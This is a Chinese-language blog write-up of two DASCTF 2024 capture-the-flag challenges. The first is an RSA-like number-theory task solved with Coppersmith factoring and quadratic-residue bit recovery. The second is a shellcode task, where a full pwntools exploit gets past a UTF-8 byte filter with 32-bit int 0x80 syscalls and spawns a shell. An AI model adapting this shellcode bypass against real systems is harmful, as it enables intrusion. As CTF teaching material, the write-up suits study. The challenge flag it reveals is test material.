[DASCTF 2024最后一战|寒夜破晓,冬至终章] 数论的气氛,ez_shellcode

该文章已生成可运行项目,

数论的气氛

就会一个,是退步了还是太难了。

远看是个RSA,近看不是,只用的分解n

from sympy import isprime
from sympy.ntheory import legendre_symbol
import random
from Crypto.Util.number import bytes_to_long

k=79    #<-- i couldn't stress more

def get_p():
    global k
    while True:
        r=random.randint(2**69,2**70)
        p=2**k*r+1
        if isprime(p):
            return p
        else:
            continue

def get_q():
    while True:
        r=random.randint(2**147,2**148)
        q=4*r+3
        if isprime(q):
            return q
        else:
            continue


def get_y():
    global n,p,q
    while True:
        y=random.randint(0,n-1)
        if legendre_symbol(y,p)==1:
            continue
        elif legendre_symbol(y,q)==1:
            continue
        else:
            return y


flag=b'DASCTF{redacted:)}'
flag_pieces=[flag[0:10],flag[11:21],flag[22:32],flag[33:43],flag[44:]]
#assert int(bytes_to_long((flag_pieces[i] for i in range(5)))).bit_length()==k

p=get_p()
q=get_q()
n=p*q
print(f'{n=}')

y=get_y()
print(f'{y=}')


def encode(m):
    global y,n,k
    x = random.randint(1, n - 1)
    c=(pow(y,m,n)*pow(x,pow(2,k),n))%n
    return c

cs=[]
for i in range(len(flag_pieces)):
    ci=encode(bytes_to_long(flag_pieces[i]))
    cs.append(ci)

print(f'{cs=}')

'''
n=542799179636839492268900255776759322356188435185061417388485378278779491236741777034539347
y=304439269593920283890993394966761083993573819485737741439790516965458877720153847056020690
cs=[302425991290493703631236053387822220993687940015503176763298104925896002167283079926671604, 439984254328026142169547867847928383533091717170996198781543139431283836994276036750935235, 373508223748617252014658136131733110314734961216630099592116517373981480752966721942060039, 246328010831179104162852852153964748882971698116964204135222670606477985487691371234998588, 351248523787623958259846173184063420603640595997008994436503031978051069643436052471484545]
'''

先是生成p,q其中p = 2**k*r + 1 这个r只有70位,一下coopersmith就行。

###################1, coppersmith求p    p = 2^79*x + 1
k = 79
P.<x> = PolynomialRing(Zmod(n))
f = 2^k*x + 1
res = f.monic().small_roots(X=2^70, beta=0.499, epsilon=0.02)
#[1040145546891496498175]
p = int(f(res[0]))
#628729403897154553626034231171921094272614401

然后是生成y这个y对p,q都不是二次剩余(拉格朗日符号不为1)

把flag分成5块每块10字节(79位,与k相同)

c = y^m * rand^(2^k) % n 

这里边由于y对p不是二次剩余,那么如果m为奇数c就不是二次剩余,如果是偶数就是,可以用jacobi符号判断。

然后如果是奇数就除去y再开根号。而后边的rand^(2^k)保证开足够的根号(79)依然是二次剩余

这里有两个小坑,虽然c是模n的,但jacobi符号需要用素数运算,所以这里只能用一个因子来计算。第2是开根号有两个根,需要递归遍历下。

###################2, 二次剩余 求m
#每段flag只有79位, c = y^m * rand^(2*79)
#如果对p是二次剩余 m为0,c开根号            c2 = y^(m    //2)*rand^(2^78)
#否则m为1,c/y再开根号                     c2 = y^((m-1)//2)*rand^(2^78)
from gmpy2 import jacobi,invert 

def rabin(c):
    P.<x> = PolynomialRing(GF(p))
    f1 = x^2 - c
    resp = f1.roots()
    return [int(i[0]) for i in resp]

def getm(c,m):
    global ok,flag
    if ok: return 
    
    #print('Try:',c,m)
    if len(m)>=k:
        print('OK',m, long_to_bytes(int(m,2)))
        flag += long_to_bytes(int(m,2))
        ok = True
        return
    
    if jacobi(c, p) == -1:
        m = '1'+m
        c = int(c*invert(y,p)%p)
    else:
        m = '0'+m
    cs = rabin(c)
    for tc in cs:
        getm(int(tc),m)

flag = b''
for tc in cs:
    ok = False
    getm(tc,'')

print(flag)
#DASCTF{go0_j06!let1sm0v31n_t0_th3r_chanlenges~>_<}

ez_shellcode

这题一直没什么想法,今天突然想到一件事,很快就完成了。

用c++写的一个执行shellcode的程序,代码比较难看,大概流程如下:

1,输入代码

2,检查 0,2,4..的奇数位为utf-8字符的0x80-0x7ff间 1,3,5...的偶数位为0-0x7f的acsii字符

3,调用3次cin不清楚为啥感觉没啥用,反正返回都是0作为1参2参3参,测试都是0,不清楚输啥能得到参数。感觉是专门为了清寄存器的。

难点在于奇数位只能是Cx8x,DxBx,也就是第1字节110开头第2字节10开头。找到空白跳但1个字符整不出来syscall。

突然想到有一个人写的shell绕过用的int 0x80的32位调用,在64位系统里是可以直接用32位的调用的。而参数用xor eax,eax这种都是1+Cx这种后边补个nop(0x90)就OK了,而调用用int 0x80也不用异或。  

32位的调用参数使用ebx,ecx,edx,中断号eax,奇跳用leave;nop这里的leave只能用一次,好在它本身有个链,如果没有就得用xlatb这个会破坏al,好在只用开头用一次。后边在偶数位随便弄个push就行。

在调试的时候发现,输入的数据会少第1个字符,不明白怎么回事,随便补一个。

没有远程环境了,本地也可能有小出入,但应该不大。

from pwn import *
context(arch='amd64', log_level='debug')

p = process('./ez_shellcode')
#gdb.attach(p, 'b*0x5555555578e0\nc')

#奇数位只允许utf8字符[0x80,0x7ff]偶数位只允许[0,0x7f]
#用int 0x80 的32位调用
shellcode = '''
leave;nop;
xor al,0xc7;nop;
xor edx,eax;nop;
xor al,0xc4;nop;   /* eax=sys_read=3, edx=0xc7*/
xor ecx,ecx;nop;
xor ecx,ebx;nop;   /* ecx=buf */
xor ebx,ecx;nop;   /* ebx=0 */
push rax;
int 0x80  /* read(0,buf,0xc7) */
'''
b = asm(shellcode)
print([hex(ord(i)) for i in b.decode()])
p.sendlineafter(b"What is your lucky number?\n", b'1'+b) #输入会吃掉一位
p.sendafter(b'Leave to fate...\n',b'\n\n\n')

sleep(0.5)
p.send(b'\x90'*0x20+asm(shellcraft.sh()))
p.interactive()

本文章已经生成可运行项目
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值